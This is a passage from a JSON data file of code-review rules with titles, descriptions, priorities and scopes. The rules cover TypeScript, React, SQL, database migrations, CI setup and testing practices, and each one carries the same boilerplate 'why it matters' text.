Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reference globals with their full path to show where the value comes from","rule":"Prefer window.product over a bare product reference so it is immediately clear the value is a browser global, not a local variable.","apiRule":"Prefer window.product over a bare product reference so it is immediately clear the value is a browser global, not a local variable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reuse the existing form input component with built-in states","rule":"Use the shared FormInput (or equivalent) that already handles error styling instead of re-styling a raw input per feature.","apiRule":"Use the shared FormInput (or equivalent) that already handles error styling instead of re-styling a raw input per feature. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Treat an oversized component stylesheet as a signal to split or reuse","rule":"A very large single component stylesheet usually means the component should be broken into children or that shared/global styles are missing; reconsider the structure.","apiRule":"A very large single component stylesheet usually means the component should be broken into children or that shared/global styles are missing; reconsider the structure. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not reference functions that are not defined in scope","rule":"Calling a function that has no definition in the component (relying on an external runtime injection) is fragile; define it, type it, or guard its existence explicitly.","apiRule":"Calling a function that has no definition in the component (relying on an external runtime injection) is fragile; define it, type it, or guard its existence explicitly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type boolean-like props as booleans and name initial-state props clearly","rule":"A toggle's value prop should be a boolean named for its meaning (checked), and the local initial-state prop should read as initial (initialChecked) rather than a stringly-typed defaultChecked.","apiRule":"A toggle's value prop should be a boolean named for its meaning (checked), and the local initial-state prop should read as initial (initialChecked) rather than a stringly-typed defaultChecked. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Write code identifiers in English even when copy is localized","rule":"Keep variable, prop, and key names in English for a consistent codebase, while user-facing text stays in the product's language.","apiRule":"Keep variable, prop, and key names in English for a consistent codebase, while user-facing text stays in the product's language. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Break long copy into meaningful translation keys instead of one sentence-as-key","rule":"Prefer short semantic keys mapping to message fragments (ACCOUNT_SUSPENDED, CONTACT_ADMIN_MESSAGE) over using whole sentences as the key.","apiRule":"Prefer short semantic keys mapping to message fragments (ACCOUNT_SUSPENDED, CONTACT_ADMIN_MESSAGE) over using whole sentences as the key. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass class overrides through a typed classes object, not a loose className","rule":"When a component supports overriding the styles of several internal parts, accept a classes={{ part: ... }} object rather than a single ambiguous className string.","apiRule":"When a component supports overriding the styles of several internal parts, accept a classes={{ part: ... }} object rather than a single ambiguous className string. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Carry related data through the mapper instead of re-indexing the raw array","rule":"When mapped items need a property from the raw item, attach it during mapping rather than re-looking up the original by index, which breaks if mapping or order changes.","apiRule":"When mapped items need a property from the raw item, attach it during mapping rather than re-looking up the original by index, which breaks if mapping or order changes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer HTML preload links over a JS hook for images","rule":"Preload images with <link rel=preload> in HTML rather than a custom hook; scope them with media queries so only viewport-relevant images load.","apiRule":"Preload images with <link rel=preload> in HTML rather than a custom hook; scope them with media queries so only viewport-relevant images load. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pin the CI Node version from .nvmrc instead of hardcoding it","rule":"Use setup-node's node-version-file pointing at .nvmrc so the CI Node version stays in sync with the repo's declared version automatically.","apiRule":"Use setup-node's node-version-file pointing at .nvmrc so the CI Node version stays in sync with the repo's declared version automatically. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set the npm auth token env var once for the whole workflow instead of per step","rule":"npm reads NPM_AUTH_TOKEN from the environment, so define it once at workflow/top level rather than amending .npmrc before every install.","apiRule":"npm reads NPM_AUTH_TOKEN from the environment, so define it once at workflow/top level rather than amending .npmrc before every install. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not expose two methods that are never used apart from each other","rule":"If two public methods are always called together, collapse them into one method that does the combined work, keeping the intermediate logic encapsulated.","apiRule":"If two public methods are always called together, collapse them into one method that does the combined work, keeping the intermediate logic encapsulated. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name service methods so the verb and noun match what is returned","rule":"A method named getX should return an X; if you are already inside a named journey/context, drop the redundant qualifier and ensure the returned value matches the noun in the name.","apiRule":"A method named getX should return an X; if you are already inside a named journey/context, drop the redundant qualifier and ensure the returned value matches the noun in the name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Detect outside clicks with a document listener and a ref, not an extra wrapper element","rule":"To close on outside click, attach a listener to document and check whether event.target is inside the ref, instead of adding a wrapping div whose only purpose is catching clicks.","apiRule":"To close on outside click, attach a listener to document and check whether event.target is inside the ref, instead of adding a wrapping div whose only purpose is catching clicks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name a method for what it actually does, including side effects","rule":"A method named as a pure query (e.g. evaluate/get) must not also mutate state; either split read and write or rename it to reflect the mutation.","apiRule":"A method named as a pure query (e.g. evaluate/get) must not also mutate state; either split read and write or rename it to reflect the mutation. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't forget the decorator needed to inject request-derived params","rule":"Parameters sourced from the request (language, user, etc.) must carry their injection decorator (e.g. @Req / a custom param decorator); a bare parameter will be undefined at runtime.","apiRule":"Parameters sourced from the request (language, user, etc.) must carry their injection decorator (e.g. @Req / a custom param decorator); a bare parameter will be undefined at runtime. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Remove join conditions already implied by another condition","rule":"Drop extra ON conditions that are logically guaranteed by an existing one; they add noise without changing results.","apiRule":"Drop extra ON conditions that are logically guaranteed by an existing one; they add noise without changing results. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Build unique constraints on columns guaranteed to be present","rule":"Base a unique constraint on fields that are actually required/non-null (e.g. email + tenant id) rather than on optional fields that may be empty.","apiRule":"Base a unique constraint on fields that are actually required/non-null (e.g. email + tenant id) rather than on optional fields that may be empty. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer JOIN with GROUP BY over correlated subqueries for aggregation","rule":"Rewrite count/aggregate correlated subqueries as a JOIN with GROUP BY where it yields the same result, for clearer and often faster queries.","apiRule":"Rewrite count/aggregate correlated subqueries as a JOIN with GROUP BY where it yields the same result, for clearer and often faster queries. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Wrap nullable SQL aggregates/expressions in COALESCE","rule":"When an aggregate or arithmetic on possibly-null columns can yield NULL, wrap it in COALESCE so the query returns a sensible default rather than null.","apiRule":"When an aggregate or arithmetic on possibly-null columns can yield NULL, wrap it in COALESCE so the query returns a sensible default rather than null. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use mockRejectedValue / Promise.reject for rejecting mocks in tests","rule":"Stub a rejecting async function with mockRejectedValueOnce or a Promise.reject factory instead of a verbose mockImplementation that throws, for clearer test intent.","apiRule":"Stub a rejecting async function with mockRejectedValueOnce or a Promise.reject factory instead of a verbose mockImplementation that throws, for clearer test intent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't initialize a variable you immediately overwrite in every branch","rule":"If every branch assigns a variable, declare it with a type and no initial value rather than giving it a throwaway default that is always overwritten.","apiRule":"If every branch assigns a variable, declare it with a type and no initial value rather than giving it a throwaway default that is always overwritten. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid exposing a column under a name that conflicts with another field","rule":"Don't alias a database column to a DTO property name that collides with the real meaning of another column; it confuses consumers and blocks exposing the original column later.","apiRule":"Don't alias a database column to a DTO property name that collides with the real meaning of another column; it confuses consumers and blocks exposing the original column later. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Filter out falsy entries before mapping to extract ids","rule":"When extracting a list of ids from records that may lack one, filter for the presence of the field first, then map, so the resulting array has no undefined entries.","apiRule":"When extracting a list of ids from records that may lack one, filter for the presence of the field first, then map, so the resulting array has no undefined entries. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reuse shared currency/exchange-rate utilities instead of ad-hoc conversion","rule":"Use the project's existing exchange-rate or currency library for conversions rather than re-implementing rate logic inline, to keep behavior consistent.","apiRule":"Use the project's existing exchange-rate or currency library for conversions rather than re-implementing rate logic inline, to keep behavior consistent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Wrap scheduled jobs in error handling","rule":"Cron/scheduler-triggered tasks should catch and log their own errors so an unhandled rejection doesn't crash the process or fail silently.","apiRule":"Cron/scheduler-triggered tasks should catch and log their own errors so an unhandled rejection doesn't crash the process or fail silently. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use consistent date types across DTOs and tests","rule":"Represent the same conceptual field with a consistent type everywhere (always Date or always ISO string); mixing them within the same codebase causes confusion and serialization bugs.","apiRule":"Represent the same conceptual field with a consistent type everywhere (always Date or always ISO string); mixing them within the same codebase causes confusion and serialization bugs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mark nullable model columns with the allow-null decorator","rule":"If a database column can hold null, annotate the ORM model accordingly so the type and the schema agree and consumers handle null correctly.","apiRule":"If a database column can hold null, annotate the ORM model accordingly so the type and the schema agree and consumers handle null correctly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Avoid generic folder and module names","rule":"Name folders and modules after their role (e.g. helpers, services) rather than vague labels like \"class\" or \"admin-tool\"; generic names hide what lives inside.","apiRule":"Name folders and modules after their role (e.g. helpers, services) rather than vague labels like \"class\" or \"admin-tool\"; generic names hide what lives inside. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Inline single-use interfaces instead of declaring a separate type","rule":"If an interface is used in exactly one place, consider inlining the shape to keep the code compact rather than creating a dedicated declaration file.","apiRule":"If an interface is used in exactly one place, consider inlining the shape to keep the code compact rather than creating a dedicated declaration file. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use independent if blocks instead of if/else-if when conditions are not mutually exclusive","rule":"When multiple conditions can each apply independently, write separate if statements rather than chaining them with else-if which implies exclusivity.","apiRule":"When multiple conditions can each apply independently, write separate if statements rather than chaining them with else-if which implies exclusivity. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use named bind parameters in SQL instead of positional arrays","rule":"Bind SQL replacements by name (:key) with an object rather than a positional array, so parameters are self-documenting and order-independent.","apiRule":"Bind SQL replacements by name (:key) with an object rather than a positional array, so parameters are self-documenting and order-independent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Log error.message directly instead of wrapping a single value in a template literal","rule":"When a string already holds the full message, pass it as-is rather than embedding it in a redundant template literal.","apiRule":"When a string already holds the full message, pass it as-is rather than embedding it in a redundant template literal. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Derive ENUM column definitions from the enum's values","rule":"Define a database ENUM column from the TypeScript enum's values instead of hardcoding the option list, so the column and enum cannot drift apart.","apiRule":"Define a database ENUM column from the TypeScript enum's values instead of hardcoding the option list, so the column and enum cannot drift apart. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add NOT NULL columns in stages: add nullable, backfill, then add constraint","rule":"Adding a NOT NULL column to a populated table fails without a default; add the column nullable, fill it with data, then apply the not-null constraint.","apiRule":"Adding a NOT NULL column to a populated table fails without a default; add the column nullable, fill it with data, then apply the not-null constraint. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Backfill existing rows in the migration when changing a column default","rule":"Changing a column's default only affects new rows; if existing rows should use the new value, update them within the same migration.","apiRule":"Changing a column's default only affects new rows; if existing rows should use the new value, update them within the same migration. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Validate a real DTO instance, not a plain object","rule":"class-validator only validates class instances; pass a DTO instance (e.g. via plainToInstance) rather than a plain object literal, or validation silently passes.","apiRule":"class-validator only validates class instances; pass a DTO instance (e.g. via plainToInstance) rather than a plain object literal, or validation silently passes. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Add conditions so update queries touch only the rows that need it","rule":"Include extra where conditions (e.g. is_available = false, bottle_id IS NOT NULL) to skip rows that don't require updating, making queries faster and safer.","apiRule":"Include extra where conditions (e.g. is_available = false, bottle_id IS NOT NULL) to skip rows that don't require updating, making queries faster and safer. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the known primary key as the update where-condition","rule":"When you already have an entity's id, filter updates/lookups by that id rather than by other (possibly non-unique) fields.","apiRule":"When you already have an entity's id, filter updates/lookups by that id rather than by other (possibly non-unique) fields. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Collapse duplicate branches into a single computation","rule":"If two variables or branches end up computing the same thing, use one; only keep the split if it adds genuine semantic clarity.","apiRule":"If two variables or branches end up computing the same thing, use one; only keep the split if it adds genuine semantic clarity. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Wrap the whole loop iteration in try/catch, not just the tail","rule":"When iterating and you want per-item resilience, the try/catch should cover the full iteration body so an early failure doesn't skip later steps or break the loop.","apiRule":"When iterating and you want per-item resilience, the try/catch should cover the full iteration body so an early failure doesn't skip later steps or break the loop. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Place decorators in the correct order and omit redundant ones","rule":"Decorator order matters (they apply bottom-to-top); place each where it takes effect and drop decorators that only restate the framework default.","apiRule":"Decorator order matters (they apply bottom-to-top); place each where it takes effect and drop decorators that only restate the framework default. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Provide the generic type on raw/select query calls","rule":"Pass the expected row shape as a generic to raw query/select methods so the result is typed instead of any/unknown.","apiRule":"Pass the expected row shape as a generic to raw query/select methods so the result is typed instead of any/unknown. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use a pick helper to map a subset of identical properties","rule":"When a mapper copies several same-named properties, use a pick utility (e.g. lodash pick) instead of listing each assignment manually.","apiRule":"When a mapper copies several same-named properties, use a pick utility (e.g. lodash pick) instead of listing each assignment manually. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add explicit access modifiers to class members","rule":"Declare public/private/readonly explicitly and consistently on class properties and methods rather than relying on the implicit default.","apiRule":"Declare public/private/readonly explicitly and consistently on class properties and methods rather than relying on the implicit default. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Return only the data the caller needs from helpers","rule":"If callers only consume ids, have the helper return an array of ids rather than full DTOs, reducing coupling and payload.","apiRule":"If callers only consume ids, have the helper return an array of ids rather than full DTOs, reducing coupling and payload. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep functions to a single responsibility","rule":"A function named for a query/check (e.g. isRegionOnly) should not also perform an unrelated mutation like a DB update; split the concerns.","apiRule":"A function named for a query/check (e.g. isRegionOnly) should not also perform an unrelated mutation like a DB update; split the concerns. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Specify an explicit sort direction","rule":"Always state ASC or DESC in ORDER BY / order options rather than relying on the implicit default, so the intent is clear and stable.","apiRule":"Always state ASC or DESC in ORDER BY / order options rather than relying on the implicit default, so the intent is clear and stable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Capitalize SQL keywords","rule":"Write SQL keywords in uppercase (SELECT, ORDER BY, WHERE) so queries read consistently and keywords stand out from identifiers.","apiRule":"Write SQL keywords in uppercase (SELECT, ORDER BY, WHERE) so queries read consistently and keywords stand out from identifiers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set the flag in both branches of an if/else","rule":"When a boolean outcome depends on a condition, set it explicitly in both the if and else branches rather than leaving the else case to a stale or default value.","apiRule":"When a boolean outcome depends on a condition, set it explicitly in both the if and else branches rather than leaving the else case to a stale or default value. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Define unique constraints on the minimal correct column set","rule":"A composite unique constraint should cover exactly the columns that must be unique together; adding columns already implied by a narrower constraint is redundant or wrong.","apiRule":"A composite unique constraint should cover exactly the columns that must be unique together; adding columns already implied by a narrower constraint is redundant or wrong. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Return the update result when the caller needs the updated record","rule":"If callers need the updated entity, return the ORM update result (with returning option) instead of discarding it.","apiRule":"If callers need the updated entity, return the ORM update result (with returning option) instead of discarding it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Skip to the next iteration when there is nothing to process","rule":"Inside a loop, after logging/handling a missing or filtered-out case, use continue so you don't fall through to processing empty data.","apiRule":"Inside a loop, after logging/handling a missing or filtered-out case, use continue so you don't fall through to processing empty data. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't rely on an array being falsy; check its length","rule":"An empty array is truthy, so `if (arr)` is always true; test arr.length (or compare values) to detect emptiness.","apiRule":"An empty array is truthy, so `if (arr)` is always true; test arr.length (or compare values) to detect emptiness. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Order query-builder options consistently","rule":"Within a query, keep options in a predictable order (where, include, pagination, then order) so queries are easy to scan and compare.","apiRule":"Within a query, keep options in a predictable order (where, include, pagination, then order) so queries are easy to scan and compare. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use an interface, not a validated DTO, for internal-only argument shapes","rule":"When a type is only used to pass arguments to an internal function (no request validation), declare it as an interface rather than a class DTO with decorators.","apiRule":"When a type is only used to pass arguments to an internal function (no request validation), declare it as an interface rather than a class DTO with decorators. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Include the entity id in read DTOs","rule":"Read/response DTOs should expose the resource id so clients can reference the entity; omitting it is usually a mistake.","apiRule":"Read/response DTOs should expose the resource id so clients can reference the entity; omitting it is usually a mistake. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Omit redundant explicit types where inference is clear","rule":"Don't annotate a type that the initializer already makes obvious (e.g. a number initialized to 0); let inference handle it.","apiRule":"Don't annotate a type that the initializer already makes obvious (e.g. a number initialized to 0); let inference handle it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Alias aggregate/computed columns in SQL results","rule":"Give aggregate expressions a clear alias (COUNT(...) AS total) so the result property name is meaningful instead of the raw expression text.","apiRule":"Give aggregate expressions a clear alias (COUNT(...) AS total) so the result property name is meaningful instead of the raw expression text. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Validate enum values dynamically with @IsIn(Object.values(Enum))","rule":"Validate that a field is a member of an enum using @IsIn(Object.values(MyEnum)) instead of hardcoding the allowed list, so it stays in sync with the enum.","apiRule":"Validate that a field is a member of an enum using @IsIn(Object.values(MyEnum)) instead of hardcoding the allowed list, so it stays in sync with the enum. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the 